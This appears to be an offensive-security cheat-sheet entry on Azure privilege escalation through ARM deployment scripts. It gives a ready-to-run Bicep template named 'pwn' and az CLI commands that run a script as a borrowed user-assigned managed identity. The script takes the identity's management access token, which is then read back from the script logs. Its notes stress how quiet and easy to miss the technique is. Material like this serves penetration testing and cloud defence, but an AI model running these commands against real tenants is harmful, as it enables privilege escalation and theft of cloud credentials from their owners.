An ARM Microsoft.Resources/deploymentScripts resource runs an arbitrary shell or PowerShell script in a transient Azure Container Instance, and that container runs as a user-assigned managed identity you specify. With Microsoft.Resources/deployments/write and the ability to reference a privileged user-assigned identity, a deployment script becomes code execution as that identity, without ever touching a VM or Function.
Running a script as a target identity#
cat > ds.bicep <<'EOF'
param uami string
resource s 'Microsoft.Resources/deploymentScripts@2020-10-01' = {
name: 'pwn'
location: resourceGroup().location
kind: 'AzureCLI'
identity: { type: 'UserAssigned', userAssignedIdentities: { '${uami}': {} } }
properties: {
azCliVersion: '2.52.0'
scriptContent: 'az account get-access-token --resource https://management.azure.com/'
retentionInterval: 'PT1H'
}
}
EOF
az deployment group create -g <rg> --template-file ds.bicep \
--parameters uami=/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<uami>
# read the script output for the token
az deployment-scripts show-log -g <rg> -n pwn
Exploitation notes#
- The identity only needs to be assignable to you; it does not have to be one you already control, so this borrows any user-assigned identity in reach (the MicroBurst
Invoke-AzDeploymentScriptpattern). - The container is transient and the resource is easy to miss, which makes this a quiet way to run as a privileged identity.
- It pairs with identity: a privileged deployment and a deployment script are two faces of ARM-driven execution.
Tools#
- Azure CLI (
az deployment group create,az deployment-scripts show-log). - MicroBurst (
Invoke-AzDeploymentScript-style borrowing of user-assigned identities).